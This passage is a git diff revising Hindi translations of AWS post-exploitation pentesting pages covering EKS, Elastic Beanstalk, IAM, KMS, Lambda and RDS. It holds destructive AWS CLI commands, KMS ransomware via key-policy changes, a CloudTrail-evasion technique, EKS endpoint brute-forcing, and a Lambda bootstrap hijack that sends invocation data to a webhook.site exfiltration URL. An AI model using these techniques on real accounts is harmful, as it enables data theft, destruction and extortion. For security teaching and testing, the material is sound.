-यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([अधिक जानें](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))।
+यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes क्लस्टर से कनेक्ट करें
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- इतना आसान तरीका नहीं:
-यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप एक पॉड से JWT टोकन प्राप्त करने में सफल रहे [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**।
+यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप किसी पॉड से JWT टोकन प्राप्त करने में सफल रहे हैं तो [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**।
मेरे मामले में, मैंने CloudWatch लॉग में जानकारी नहीं पाई, लेकिन मैंने **LaunchTemplates userData** में और **EC2 मशीनों में userData में भी** इसे पाया। आप इस जानकारी को **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (क्लस्टर का नाम cluster-name था):
```bash
@@ -72,16 +72,16 @@ provideClusterInfo: false
### AWS से Kubernetes तक
-**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह के kubernetes क्लस्टर भाग **`system:masters`** (k8s admin) में प्रवेश प्राप्त कर सकेगा। इस लेख के समय पर **क्लस्टर को बनाने वाले** को **खोजने का कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है।
+**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह **`system:masters`** (k8s प्रशासन) के kubernetes क्लस्टर भाग में प्रवेश प्राप्त कर सकेगा। इस लेख के समय **क्लस्टर को बनाने वाले** **कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है।
-**AWS IAM उपयोगकर्ताओं या भूमिकाओं** को K8s पर **अधिक पहुँच देने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है।
+**K8s पर अधिक AWS IAM उपयोगकर्ताओं या भूमिकाओं को पहुँच प्रदान करने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है।
> [!WARNING]
> इसलिए, config map **`aws-auth`** पर **लिखने की पहुँच** रखने वाला कोई भी व्यक्ति **पूरे क्लस्टर को समझौता** कर सकेगा।
-**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** देने के तरीके और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)।
+**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** प्रदान करने के बारे में अधिक जानकारी के लिए और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)।
-यहाँ पर भी[ **यह शानदार**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**।
+यहाँ भी[ **यह अद्भुत**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**।
### Kubernetes से AWS तक
@@ -89,18 +89,16 @@ provideClusterInfo: false
### JWT टोकन से GET Api सर्वर एंडपॉइंट
-JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र मिलता है।  यह जानकर कि EKS URL का मानक प्रारूप है
+JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र भी मिलता है।  यह जानते हुए कि EKS URL का मानक प्रारूप है
```bash
https://...eks.amazonaws.com
```
-```markdown
-'दो अक्षर' और 'संख्या' के लिए मानदंडों को समझाने वाली कोई दस्तावेज़ीकरण नहीं मिली। लेकिन अपनी ओर से कुछ परीक्षण करते समय मैंने इनमें से कुछ को बार-बार देखा:
+कोई दस्तावेज़ नहीं मिला जो 'दो अक्षरों' और 'संख्या' के लिए मानदंडों को समझाए। लेकिन मैंने अपनी ओर से कुछ परीक्षण किए और ये दो बार दिखाई दिए:
- gr7
- yl4
-वैसे भी, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची उत्पन्न करने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें।
-```
+वैसे, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची बनाने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें।
```python
from itertools import product
from string import ascii_lowercase
@@ -125,7 +123,7 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### CloudTrail को बायपास करें
-यदि एक हमलावर **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स प्राप्त करता है। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता है क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)।
+यदि एक हमलावर के पास **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स हैं। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)।
तो जब हमलावर EKS क्लस्टर के साथ बात करता है, **cloudtrail उपयोगकर्ता के चोरी होने और इसे एक्सेस करने से संबंधित कुछ भी लॉग नहीं करेगा**।
@@ -133,7 +131,7 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### EKS फिरौती?
-डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखने वाला होगा। और यही एकमात्र "सुरक्षित" एक्सेस है जो AWS Kubernetes क्लस्टर पर होगा।
+डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, वह **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखेगा। और यही एकमात्र "सुरक्षित" एक्सेस होगा जो AWS Kubernetes क्लस्टर पर होगा।
तो, यदि एक **हमलावर फर्गेट का उपयोग करके एक क्लस्टर से समझौता करता है** और **सभी अन्य प्रशासकों को हटा देता है** और **क्लस्टर बनाने वाले AWS उपयोगकर्ता/भूमिका को हटा देता है**, ~~हमलावर ने **क्लस्टर को फिरौती**~~** ली हो सकती है**।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 2dfbed4a3..49a9e6423 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -13,13 +13,13 @@
### `elasticbeanstalk:DeleteApplicationVersion`
> [!NOTE]
-> TODO: यह परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
+> TODO: जांचें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplicationVersion` है, **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है।
+जिस हमलावर के पास `elasticbeanstalk:DeleteApplicationVersion` की अनुमति है, वह **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है।
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**संभावित प्रभाव**: अनुप्रयोग तैनाती में बाधा और अनुप्रयोग संस्करणों का संभावित नुकसान।
+**संभावित प्रभाव**: अनुप्रयोग तैनाती में विघटन और अनुप्रयोग संस्करणों का संभावित नुकसान।
### `elasticbeanstalk:TerminateEnvironment`
@@ -30,14 +30,14 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
-**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में व्यवधान।
+**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में बाधा।
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह कार्रवाई अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है।
+एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह क्रिया अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है।
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
@@ -48,7 +48,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
> [!NOTE]
> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-`elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति के साथ एक हमलावर **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जिससे उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान किया जा सकता है या अनपेक्षित व्यवहार हो सकता है।
+एक हमलावर जिसके पास `elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति है, **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जो उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान कर सकता है या अनपेक्षित व्यवहार का कारण बन सकता है।
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index c7ffc9f34..82fa1dfc4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -12,7 +12,7 @@ IAM एक्सेस के बारे में अधिक जानक
## Confused Deputy Problem
-यदि आप **एक बाहरी खाता (A)** को अपने खाते में **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**।
+यदि आप **एक बाहरी खाता (A)** को अपने खाते में एक **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**।
इसलिए, जब आप एक बाहरी खाते को अपने खाते में एक भूमिका तक पहुँचने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "गुप्त" स्ट्रिंग है जिसे बाहरी खाते (A) को **आपके संगठन में भूमिका ग्रहण करने के लिए निर्दिष्ट करना आवश्यक है**। चूंकि **बाहरी खाता B इस स्ट्रिंग को नहीं जानता**, भले ही उसके पास A पर पहुँच हो, वह **आपकी भूमिका तक पहुँच नहीं सकेगा**।
@@ -73,7 +73,7 @@ IAM एक्सेस के बारे में अधिक जानक
}
}
```
-यदि S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं।
+यदि एक S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं।
#### समर्थित नहीं
```json
@@ -84,7 +84,7 @@ IAM एक्सेस के बारे में अधिक जानक
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
-एक सामान्य तरीका Confused Deputy समस्याओं से बचने का `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (कुछ स्रोतों के अनुसार CloudTrail की तरह)।
+Confused Deputy समस्याओं से बचने का एक सामान्य तरीका `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (जैसे कि कुछ स्रोतों के अनुसार CloudTrail)।
## References
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 012faa527..bf0fd3749 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -12,10 +12,10 @@
### जानकारी एन्क्रिप्ट/डिक्रिप्ट करें
-`fileb://` और `file://` URI स्कीम हैं जो AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग की जाती हैं:
+`fileb://` और `file://` AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग किए जाने वाले URI स्कीम हैं:
- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, जो आमतौर पर गैर-टेक्स्ट फ़ाइलों के लिए उपयोग किया जाता है।
-- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्टों, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं।
+- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्ट, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं।
> [!TIP]
> ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि बेस64 एन्कोडेड डेटा। (fileb://)
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- एक **asymmetric** कुंजी का उपयोग करना:
+- एक **असामान्य** कुंजी का उपयोग करना:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,9 +60,9 @@ aws kms decrypt \
```
### KMS Ransomware
-एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है।
+एक हमलावर जिसके पास KMS पर विशेषाधिकारित पहुंच है, वह कुंजी की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है।
-फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैनसमवेयर बन जाएगा।
+फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं पा सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैनसमवेयर बन जाएगा।
> [!WARNING]
> ध्यान दें कि **AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं**, केवल **ग्राहक प्रबंधित कुंजियाँ**।
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को पहुंच देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को फिर से पहुंच मिले, तो आप सक्षम नहीं होंगे**।
+> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को एक्सेस देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को वापस एक्सेस दिया जा सके, तो आप सक्षम नहीं होंगे**।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 39e4799bf..4f42c8a4a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
### दूसरों के Lambda URL अनुरोध और एक्सटेंशन अनुरोध चुराना
-Lambda लेयर्स का दुरुपयोग करके एक्सटेंशन का दुरुपयोग करना और Lambda में स्थायी रहना संभव है, बल्कि अनुरोधों को चुराना और संशोधित करना भी संभव है।
+Lambda लेयर्स का दुरुपयोग करके एक्सटेंशनों का दुरुपयोग करना भी संभव है और Lambda में स्थायी रहना, बल्कि अनुरोधों को चुराना और संशोधित करना भी संभव है।
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 90bbc7f7f..e821604e4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -6,27 +6,27 @@
-1. **Slicer** एक प्रक्रिया है जो कंटेनर के बाहर है जो **invocations** को **init** प्रक्रिया को **भेजती** है।
+1. **Slicer** एक प्रक्रिया है जो कंटेनर के बाहर है और **invocations** को **init** प्रक्रिया को **भेजती** है।
2. Init प्रक्रिया पोर्ट **9001** पर सुनती है जो कुछ दिलचस्प एंडपॉइंट्स को उजागर करती है:
- **`/2018-06-01/runtime/invocation/next`** – अगली invocation घटना प्राप्त करें
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke के लिए हैंडलर प्रतिक्रिया लौटाएं
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – एक निष्पादन त्रुटि लौटाएं
3. **bootstrap.py** एक लूप में init प्रक्रिया से invocations प्राप्त करता है और उन्हें संभालने के लिए उपयोगकर्ता के कोड को कॉल करता है (**`/next`**).
-4. अंत में, **bootstrap.py** init को **response** भेजता है
+4. अंततः, **bootstrap.py** init को **response** भेजता है
ध्यान दें कि bootstrap उपयोगकर्ता के कोड को एक मॉड्यूल के रूप में लोड करता है, इसलिए उपयोगकर्ता के कोड द्वारा किया गया कोई भी कोड निष्पादन वास्तव में इस प्रक्रिया में हो रहा है।
## Lambda अनुरोध चुराना
-इस हमले का लक्ष्य उपयोगकर्ता के कोड को एक दुर्भावनापूर्ण **`bootstrap.py`** प्रक्रिया को निष्पादित करना है जो उस **`bootstrap.py`** प्रक्रिया के अंदर है जो कमजोर अनुरोध को संभालती है। इस तरह, **दुर्भावनापूर्ण bootstrap** प्रक्रिया **init प्रक्रिया** के साथ **बातचीत** करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि **वैध** bootstrap **फंसी** हुई है जो दुर्भावनापूर्ण को चला रही है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगी।
+इस हमले का लक्ष्य यह है कि उपयोगकर्ता का कोड एक दुर्भावनापूर्ण **`bootstrap.py`** प्रक्रिया को **`bootstrap.py`** प्रक्रिया के अंदर निष्पादित करे जो कमजोर अनुरोध को संभालता है। इस तरह, **दुर्भावनापूर्ण bootstrap** प्रक्रिया **init प्रक्रिया** के साथ **बातचीत** करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि **वैध** bootstrap **फंस** गया है जो दुर्भावनापूर्ण को चला रहा है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगा।
-यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध **`bootstrap.py`** प्रक्रिया द्वारा निष्पादित हो रहा है। इसलिए हमलावर कर सकता है:
+यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध **`bootstrap.py`** प्रक्रिया द्वारा निष्पादित किया जा रहा है। इसलिए हमलावर कर सकता है:
- **Init प्रक्रिया को वर्तमान invocation का एक नकली परिणाम भेजें**, ताकि init सोचता है कि bootstrap प्रक्रिया अधिक invocations की प्रतीक्षा कर रही है।
- एक अनुरोध **`/${invoke-id}/response`** पर भेजा जाना चाहिए
- Invoke-id को वैध **`bootstrap.py`** प्रक्रिया के स्टैक से [**inspect**](https://docs.python.org/3/library/inspect.html) पायथन मॉड्यूल का उपयोग करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) या बस इसे फिर से **`/2018-06-01/runtime/invocation/next`** पर अनुरोध करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- अगली invocations को संभालने के लिए एक दुर्भावनापूर्ण **`boostrap.py`** निष्पादित करें
-- छिपने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालना।
+- छिपे रहने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालें।
- इस हमले के लिए, **`bootstrap.py`** का मूल कोड सिस्टम से या [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) से प्राप्त करना, दुर्भावनापूर्ण कोड जोड़ना और इसे वर्तमान lambda invocation से चलाना पर्याप्त है।
### हमले के चरण
@@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
exec(new_runtime)
EOF
```
-For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
+अधिक जानकारी के लिए देखें [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
-## References
+## संदर्भ
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index dcb46699f..3d47365bd 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Lightsail Post Exploitation
+# AWS - Lightsail पोस्ट एक्सप्लोइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -16,8 +16,8 @@
### इंस्टेंस स्नैपशॉट्स को पुनर्स्थापित करें
-इंस्टेंस स्नैपशॉट्स में पहले से हटाए गए इंस्टेंस की **संवेदनशील जानकारी** या वर्तमान इंस्टेंस में हटाई गई संवेदनशील जानकारी हो सकती है। **स्नैपशॉट्स से नए इंस्टेंस बनाएं** और उन्हें जांचें।\
-या **स्नैपशॉट को EC2 में AMI में निर्यात करें** और एक सामान्य EC2 इंस्टेंस के चरणों का पालन करें।
+इंस्टेंस स्नैपशॉट्स में पहले से हटाए गए इंस्टेंस या वर्तमान इंस्टेंस में हटाई गई संवेदनशील जानकारी **शामिल हो सकती है**। **स्नैपशॉट्स से नए इंस्टेंस बनाएं** और उन्हें जांचें।\
+या **स्नैपशॉट को EC2 में एक AMI में निर्यात करें** और एक सामान्य EC2 इंस्टेंस के चरणों का पालन करें।
### संवेदनशील जानकारी तक पहुंचें
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index ef506f5f9..c69886632 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -10,7 +10,7 @@ AWS Organizations के बारे में अधिक जानकार
../aws-services/aws-organizations-enum.md
{{#endref}}
-### Leave the Org
+### Org छोड़ें
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 79bf10626..b426be805 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-`rds:DownloadDBLogFilePortion` अनुमति वाला एक हमलावर **RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग करके अपनी विशेषाधिकारों को बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है।
+`rds:DownloadDBLogFilePortion` अनुमति वाला एक हमलावर **RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग अपने विशेषाधिकारों को बढ़ाने या अनधिकृत क्रियाएँ करने के लिए कर सकता है।
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
